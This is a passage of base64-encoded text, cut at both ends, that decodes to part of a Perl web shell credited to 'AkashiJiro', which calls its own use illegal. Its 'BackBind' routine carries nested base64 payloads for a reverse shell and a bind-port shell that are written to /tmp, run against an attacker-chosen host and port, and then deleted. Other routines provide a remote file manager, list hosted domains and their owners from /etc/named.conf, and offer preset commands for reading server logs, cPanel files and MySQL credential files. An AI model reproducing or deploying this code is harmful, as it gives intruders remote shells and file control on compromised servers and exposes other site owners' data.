tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCB1c2UgcGVybA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJhY2tCaW5kDQp7DQoJdXNlIFNvY2tldDsJDQoJJGJhY2twZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnU1U4Nk9sTnZZMnRsZERzTkNpUlRhR1ZzYkFrOUlDSXZZbWx1TDJKaGMyZ2lPdzBLSkVGU1IwTTlRRUZTUjFZN0RRcDFjMlVnVTI5amEyVjBPdzBLZFhObElFWnBiR1ZJWVc1a2JHVTdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnWjJWMGNISnZkRzlpZVc1aGJXVW9JblJqY0NJcEtTQnZjaUJrYVdVZ2NISnBiblFnSWxzdFhTQlZibUZpYkdVZ2RHOGdVbVZ6YjJ4MlpTQkliM04wWEc0aU93MEtZMjl1Ym1WamRDaFRUME5MUlZRc0lITnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0JwYm1WMFgyRjBiMjRvSkVGU1IxWmJNRjBwS1NrZ2IzSWdaR2xsSUhCeWFXNTBJQ0piTFYwZ1ZXNWhZbXhsSUhSdklFTnZibTVsWTNRZ1NHOXpkRnh1SWpzTkNuQnlhVzUwSUNKRGIyNXVaV04wWldRaElqc05DbE5QUTB0RlZDMCtZWFYwYjJac2RYTm9LQ2s3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDSStKbE5QUTB0RlZDSXBPdzBLYjNCbGJpaFRWRVJGVWxJc0lqNG1VMDlEUzBWVUlpazdEUXB3Y21sdWRDQWlMUzA5UFNCRGIyNXVaV04wWldRZ1FtRmphMlJ2YjNJZ1BUMHRMU0FnWEc1Y2JpSTdEUXB6ZVhOMFpXMG9JblZ1YzJWMElFaEpVMVJHU1V4Rk95QjFibk5sZENCVFFWWkZTRWxUVkNBN1pXTm9ieUFuV3l0ZElGTjVjM1JsYldsdVptODZJQ2M3SUhWdVlXMWxJQzFoTzJWamFHODdaV05vYnlBbld5dGRJRlZ6WlhKcGJtWnZPaUFuT3lCcFpEdGxZMmh2TzJWamFHOGdKMXNyWFNCRWFYSmxZM1J2Y25rNklDYzdJSEIzWkR0bFkyaHZPeUJsWTJodklDZGJLMTBnVTJobGJHdzZJQ2M3SkZOb1pXeHNJaWs3RFFwamJHOXpaU0JUVDBOTFJWUTciOw0KCSRiaW5kcGVybD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pFRlNSME05UUVGU1IxWTdEUW9rY0c5eWRBazlJQ1JCVWtkV1d6QmRPdzBLSkhCeWIzUnZDVDBnWjJWMGNISnZkRzlpZVc1aGJXVW9KM1JqY0NjcE93MEtKRk5vWld4c0NUMGdJaTlpYVc0dlltRnphQ0k3RFFwemIyTnJaWFFvVTBWU1ZrVlNMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1c5eUlHUnBaU0FpYzI5amEyVjBPaVFoSWpzTkNuTmxkSE52WTJ0dmNIUW9VMFZTVmtWU0xDQlRUMHhmVTA5RFMwVlVMQ0JUVDE5U1JWVlRSVUZFUkZJc0lIQmhZMnNvSW13aUxDQXhLU2x2Y2lCa2FXVWdJbk5sZEhOdlkydHZjSFE2SUNRaElqc05DbUpwYm1Rb1UwVlNWa1ZTTENCemIyTnJZV1JrY2w5cGJpZ2tjRzl5ZEN3Z1NVNUJSRVJTWDBGT1dTa3BiM0lnWkdsbElDSmlhVzVrT2lBa0lTSTdEUXBzYVhOMFpXNG9VMFZTVmtWU0xDQlRUMDFCV0VOUFRrNHBDUWx2Y2lCa2FXVWdJbXhwYzNSbGJqb2dKQ0VpT3cwS1ptOXlLRHNnSkhCaFpHUnlJRDBnWVdOalpYQjBLRU5NU1VWT1ZDd2dVMFZTVmtWU0tUc2dZMnh2YzJVZ1EweEpSVTVVS1EwS2V3MEtDVzl3Wlc0b1UxUkVTVTRzSUNJK0prTk1TVVZPVkNJcE93MEtDVzl3Wlc0b1UxUkVUMVZVTENBaVBpWkRURWxGVGxRaUtUc05DZ2x2Y0dWdUtGTlVSRVZTVWl3Z0lqNG1RMHhKUlU1VUlpazdEUW9KYzNsemRHVnRLQ0oxYm5ObGRDQklTVk5VUmtsTVJUc2dkVzV6WlhRZ1UwRldSVWhKVTFRZ08yVmphRzhnSjFzclhTQlRlWE4wWlcxcGJtWnZPaUFuT3lCMWJtRnRaU0F0WVR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JWYzJWeWFXNW1iem9nSnpzZ2FXUTdaV05vYnp0bFkyaHZJQ2RiSzEwZ1JHbHlaV04wYjNKNU9pQW5PeUJ3ZDJRN1pXTm9ienNnWldOb2J5QW5XeXRkSUZOb1pXeHNPaUFuT3lSVGFHVnNiQ0lwT3cwS0NXTnNiM05sS0ZOVVJFbE9LVHNOQ2dsamJHOXpaU2hUVkVSUFZWUXBPdzBLQ1dOc2IzTmxLRk5VUkVWU1VpazdEUXA5RFFvPSI7DQoNCgkkQ2xpZW50QWRkciA9ICRpbnsnY2xpZW50YWRkcid9Ow0KCSRDbGllbnRQb3J0ID0gaW50KCRpbnsnY2xpZW50cG9ydCd9KTsNCglpZigkQ2xpZW50UG9ydCBlcSAwKQ0KCXsNCgkJcmV0dXJuICZCYWNrQmluZEZvcm07DQoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikNCgl7DQoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJhY2twZXJsKTsNCgkJaWYoLXcgIi90bXAvIikNCgkJew0KCQkJJEZpbGU9Ii90bXAvYmFja2Nvbm5lY3QucGwiOwkNCgkJfWVsc2UNCgkJew0KCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJhY2tjb25uZWN0LnBsIjsNCgkJfQ0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJc3lzdGVtKCJwZXJsICRGaWxlICRDbGllbnRBZGRyICRDbGllbnRQb3J0Iik7DQoJCXVubGluaygkRmlsZSk7DQoJCWV4aXQgMDsNCgl9ZWxzZQ0KCXsNCgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOw0KCQlpZigtdyAiL3RtcCIpDQoJCXsNCgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJDQoJCX1lbHNlDQoJCXsNCgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7DQoJCX0NCgkJb3BlbihGSUxFLCAiPiRGaWxlIik7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXN5c3RlbSgicGVybCAkRmlsZSAkQ2xpZW50UG9ydCIpOw0KCQl1bmxpbmsoJEZpbGUpOw0KCQlleGl0IDA7DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyAgQXJyYXkgTGlzdCBEaXJlY3RvcnkNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSbURpcigkKSANCnsNCglteSAkZGlyID0gc2hpZnQ7DQoJaWYob3BlbmRpcihESVIsJGRpcikpDQoJew0KCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkNCgkJew0KCQkJaWYoKCRmaWxlIG5lICIuIikgJiYgKCRmaWxlIG5lICIuLiIpKQ0KCQkJew0KCQkJCSRmaWxlPSAkZGlyLiRQYXRoU2VwLiRmaWxlOw0KCQkJCWlmKC1kICRmaWxlKQ0KCQkJCXsNCgkJCQkJJlJtRGlyKCRmaWxlKTsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJdW5saW5rKCRmaWxlKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJY2xvc2VkaXIoRElSKTsNCgl9DQp9DQpzdWIgRmlsZU93bmVyKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZSAkZmlsZSkNCgl7DQoJCSgkdWlkLCRnaWQpID0gKHN0YXQoJGZpbGUpKVs0LDVdOw0KCQlpZigkV2luTlQpDQoJCXsNCgkJCXJldHVybiAiPz8/IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOw0KCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOw0KCQkJcmV0dXJuICRuYW1lLiIvIi4kZ3JvdXA7DQoJCX0NCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIFBhcmVudEZvbGRlcigkKQ0Kew0KCW15ICRwYXRoID0gc2hpZnQ7DQoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOw0KCWNob3AoJHBhdGggPSBgJENvbW1gKTsNCglyZXR1cm4gJHBhdGg7DQp9DQpzdWIgRmlsZVBlcm1zKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglteSAkdXIgPSAiLSI7DQoJbXkgJHV3ID0gIi0iOw0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQlpZigtciAkZmlsZSl7ICR1ciA9ICJyIjsgfQ0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0NCgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsNCgkJfWVsc2UNCgkJew0KCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsNCgkJCSRyZXN1bHQgPSBzcHJpbnRmKCIlMDRvIiwgJG1vZGUgJiAwNzc3Nyk7DQoJCQlyZXR1cm4gJHJlc3VsdDsNCgkJfQ0KCX0NCglyZXR1cm4gIjAwMDAiOw0KfQ0Kc3ViIEZpbGVMYXN0TW9kaWZpZWQoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOw0KCQkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGEpKVszLDQsNSwyLDFdOw0KCQkkeSA9ICR5ICsgMTkwMDsNCgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOw0KCQkkbG10aW1lID0gc3ByaW50ZigiJTAyZC8lcy8lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG1dLCR5LCRoLCRpKTsNCgkJcmV0dXJuICRsbXRpbWU7DQoJfQ0KCXJldHVybiAiPz8/IjsNCn0NCnN1YiBGaWxlU2l6ZSgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWYgJGZpbGUpDQoJew0KCQlyZXR1cm4gLXMgIiRmaWxlIjsNCgl9DQoJcmV0dXJuICIwIjsNCn0NCnN1YiBQYXJzZUZpbGVTaXplKCQpDQp7DQoJbXkgJHNpemUgPSBzaGlmdDsNCglpZigkc2l6ZSA8PSAxMDI0KQ0KCXsNCgkJcmV0dXJuICRzaXplLiAiIEIiOw0KCX0NCgllbHNlDQoJew0KCQlpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIA0KCQl7DQoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOw0KCQkJcmV0dXJuICRzaXplLiIgS0IiOw0KCQl9DQoJCWVsc2UgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBNQiI7DQoJCX0NCgl9DQp9DQpzdWIgdHJpbSgkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nID1+IHMvXlxzKy8vOw0KCSRzdHJpbmcgPX4gcy9ccyskLy87DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgQWRkU2xhc2hlcygkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgVHJpbVNsYXNoZXMoJCkNCnsNCglteSAkc3RyaW5nID0gc2hpZnQ7DQoJJHN0cmluZz1+IHMvXC9cLy9cLy9nOw0KCSRzdHJpbmc9fiBzL1xcXFwvXFwvZzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBMaXN0RGlyDQp7DQoJbXkgJHBhdGggPSAmVHJpbVNsYXNoZXMoJEN1cnJlbnREaXIuJFBhdGhTZXApOw0KCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgb25TdWJtaXQ9XCJFbmNvZGVyKCdkJylcIiBhY3Rpb249JyRTY3JpcHRMb2NhdGlvbic+PHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz5QYXRoOiBbICIuJkFkZExpbmtEaXIoImd1aSIpLiIgXSA8L3NwYW4+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdkJyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOw0KCWlmKC1kICRwYXRoKQ0KCXsNCgkJbXkgQGZuYW1lID0gKCk7DQoJCW15IEBkbmFtZSA9ICgpOw0KCQlpZihvcGVuZGlyKERJUiwkcGF0aCkpDQoJCXsNCgkJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQkJew0KCQkJCSRmPSRwYXRoLiRmaWxlOw0KCQkJCWlmKC1kICRmKQ0KCQkJCXsNCgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQlwdXNoKEBmbmFtZSwkZmlsZSk7DQoJCQkJfQ0KCQkJfQ0KCQkJY2xvc2VkaXIoRElSKTsNCgkJfQ0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7DQoJCUBkbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBkbmFtZTsNCgkJJHJlc3VsdCAuPSAiPGRpdj48dGFibGUgd2lkdGg9JzkwJScgY2xhc3M9J2xpc3RkaXInPg0KCQk8dHIgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6ICMzZTNlM2UnPjx0aD5GaWxlIE5hbWU8L3RoPg0KCQk8dGggd2lkdGg9JzEwMCc+RmlsZSBTaXplPC90aD4NCgkJPHRoIHdpZHRoPScxNTAnPk93bmVyPC90aD4NCgkJPHRoIHdpZHRoPScxMDAnPlBlcm1pc3Npb248L3RoPg0KCQk8dGggd2lkdGg9JzE1MCc+TGFzdCBNb2RpZmllZDwvdGg+DQoJCTx0aCB3aWR0aD0nMjMwJz5BY3Rpb248L3RoPjwvdHI+IjsNCgkJbXkgJHN0eWxlPSJub3RsaW5lIjsNCgkJbXkgJGk9MDsNCgkJZm9yZWFjaCBteSAkZCAoQGRuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGQgPSAmdHJpbSgkZCk7DQoJCQkkZGlybmFtZT0kZDsNCgkJCWlmKCRkIGVxICIuLiIpIA0KCQkJew0KCQkJCSRkID0gJlBhcmVudEZvbGRlcigkcGF0aCk7DQoJCQl9DQoJCQllbHNpZigkZCBlcSAiLiIpIA0KCQkJew0KCQkJCW5leHQ7DQoJCQl9DQoJCQllbHNlIA0KCQkJew0KCQkJCSRkID0gJHBhdGguJGQ7DQoJCQl9DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBjbGFzcz0nZGlyJz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4mRW5jb2RlRGlyKCRkKS4iJz5bICIuJGRpcm5hbWUuIiBdPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZU93bmVyKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD48YSBvbmNsaWNrPVwicmVuYW1lX2Zvcm0oJGksJyRkaXJuYW1lJywnIi4mQWRkU2xhc2hlcygmQWRkU2xhc2hlcygkZCkpLiInKTsgcmV0dXJuIGZhbHNlOyBcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9Ii4mRW5jb2RlRGlyKCRwYXRoKS4iJnJlbW92ZT0kZGlybmFtZSc+UmVtb3ZlPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsNCgkJCSRpKys7DQoJCX0NCgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGU9JGY7DQoJCQkkZiA9ICRwYXRoLiRmOw0KCQkJbXkgJGFjdGlvbiA9IGVuY29kZV9iYXNlNjQoImVkaXQgIi4kZmlsZSk7DQoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBjbGFzcz0nZmlsZSc+PGEgaHJlZj0nP2E9Y29tbWFuZCZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZjPSIuJGFjdGlvbi4iJz4iLiRmaWxlLiI8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmlsZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD48YSBvbmNsaWNrPVwicmVuYW1lX2Zvcm0oJGksJyRmaWxlJywnZicpOyByZXR1cm4gZmFsc2U7XCI+UmVuYW1lPC9hPiB8IDxhIGhyZWY9Jz9hPWRvd25sb2FkJm89Z28mZj0iLiRmLiInPkRvd25sb2FkPC9hPiB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGZpbGU6ICRmaWxlID8nKSkgeyByZXR1cm4gZmFsc2U7fVwiIGhyZWY9Jz9hPWd1aSZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8L3RyPiI7DQoJCQkkaSsrOw0KCQl9DQoJCSRyZXN1bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRyeSB0byBWaWV3IExpc3QgVXNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFZpZXdEb21haW5Vc2VyDQp7DQoJb3BlbiAoZDBtYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsNCglteSBAY256cyA9IDxkMG1haW5zPjsNCgljbG9zZSBkMG1haW5zOw0KCW15ICRzdHlsZT0ibGluZSI7DQoJbXkgJHJlc3VsdD0iPGgzPjxmb250IHN0eWxlPSdmb250OiAxNXB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz4hIVNoZWxsIGlzIGRldmVsb3BlZCBieSBBa2FzaGlKaXJvIGJ1dCBJIHdvbid0IHRha2UgYW55IHJlc3BvbnNpYmxlIGZvciB1c2luZyB0aGlzIGlsbGVnYWwhISE8L2ZvbnQ+PC9oMz4iOw0KCWlmICgkZXJyKQ0KCXsNCgkJJHJlc3VsdCAuPSAgKCc8cD5LaG9uZyB0aGUgYnlwYXNzIGR1b2M8L3A+Jyk7DQoJCXJldHVybiAkcmVzdWx0Ow0KCX1lbHNlDQoJew0KCQkkcmVzdWx0IC49ICc8dGFibGUgaWQ9ImRvbWFpbiI+PHRyPjx0aD5kMG1haW5zPC90aD4gPHRoPlVzZXI8L3RoPjwvdHI+JzsNCgl9DQoJZm9yZWFjaCBteSAkb25lIChAY256cykNCgl7DQoJCWlmKCRvbmUgPX4gbS8uKj96b25lICIoLio/KSIgey8pDQoJCXsJDQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGVuYW1lPSB0cmltKCIvZXRjL3ZhbGlhc2VzLyIuJDEpOw0KCQkJJG93bmVyID0gZ2V0cHd1aWQoKHN0YXQoJGZpbGVuYW1lKSlbNF0pOw0KCQkJJHJlc3VsdCAuPSAnPHRyIHN0eWxlPSIkc3R5bGUiIHdpZHRoPTUwJT48dGQ+PGEgaHJlZj0iaHR0cDovLycuJDEuJyIgdGFyZ2V0PSJfYmxhbmsiPicuJDEuJzwvYT48L3RkPjx0ZD4gJy4kb3duZXIuJzwvdGQ+PC90cj4nOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJzwvdGFibGU+JzsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVmlldyBMb2cNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3TG9nDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCWlmKCRXaW5OVCkNCgl7DQoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7DQoJfQ0KCW15ICRyZXN1bHQ9Ijx0YWJsZT48dHI+PHRoPlBhdGggTG9nPC90aD48dGg+U3VibWl0PC90aD48L3RyPiI7DQoJbXkgQHBhdGhsb2c9KAknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2cnLA0KCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZicsDQoJCQknL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nJywNCgkJCScvdmFyL2xvZy9odHRwZC9hY2Nlc3NfbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2Vycm9yX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9hY2Nlc3NfbG9nJywNCgkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL3N1cGhwX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9zdGF0c19sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvYWNjZXNzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9lcnJvcl9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvbGljZW5zZV9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvbG9naW5fbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL3N0YXRzX2xvZycsDQoJCQknL3Zhci9jcGFuZWwvY3BhbmVsLmNvbmZpZycsDQoJCQknL3Vzci9sb2NhbC9waHAvbGliL3BocC5pbmknLA0KCQkJJy91c3IvbG9jYWwvcGhwNS9saWIvcGhwLmluaScsDQoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwtYmluLmxvZycsDQoJCQknL3Zhci9sb2cvbXlzcWwubG9nJywNCgkJCScvdmFyL2xvZy9teXNxbGRlcnJvci5sb2cnLA0KCQkJJy92YXIvbG9nL215c3FsL215c3FsLmxvZycsDQoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwtc2xvdy5sb2cnLA0KCQkJJy92YXIvbXlzcWwubG9nJywNCgkJCScvdmFyL2xpYi9teXNxbC9teS5jbmYnLA0KCQkJJy9ldGMvbXlzcWwvbXkuY25mJywNCgkJCScvZXRjL215LmNuZicsDQoJCQkpOw0KCW15ICRpPTA7DQoJbXkgJHBlcm1zOw0KCW15ICRzbDsNCglmb3JlYWNoIG15ICRsb2cgKEBwYXRobG9nKQ0KCXsNCgkJaWYoLXIgJGxvZykNCgkJew0KCQkJJHBlcm1zPSJPSyI7DQoJCX1lbHNlDQoJCXsNCgkJCSRwZXJtcz0iPGZvbnQgc3R5bGU9J2NvbG9yOiByZWQ7Jz5DYW5jZWw8Zm9udD4iOw0KCQl9DQoJCSRyZXN1bHQgLj08PEVORDsNCgkJPHRyPg0KDQoJCQk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBvblN1Ym1pdD0iRW5jb2RlcignbG9nJGknKSI+DQoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIGlkPSJsb2ckaSIgbmFtZT0iYyIgdmFsdWU9InRhaWwgLTEwMDAwICRsb2cgfCBncmVwICcvaG9tZSciIHNpemU9JzUwJy8+PC90ZD4NCgkJCTx0ZD48aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCIgLz4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciIgLz4NCgkJCTwvZm9ybT4NCgkJCTx0ZD4kcGVybXM8L3RkPg0KDQoJCTwvdHI+DQpFTkQNCgkJJGkrKzsNCgl9DQoJJHJlc3VsdCAuPSI8L3RhYmxlPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0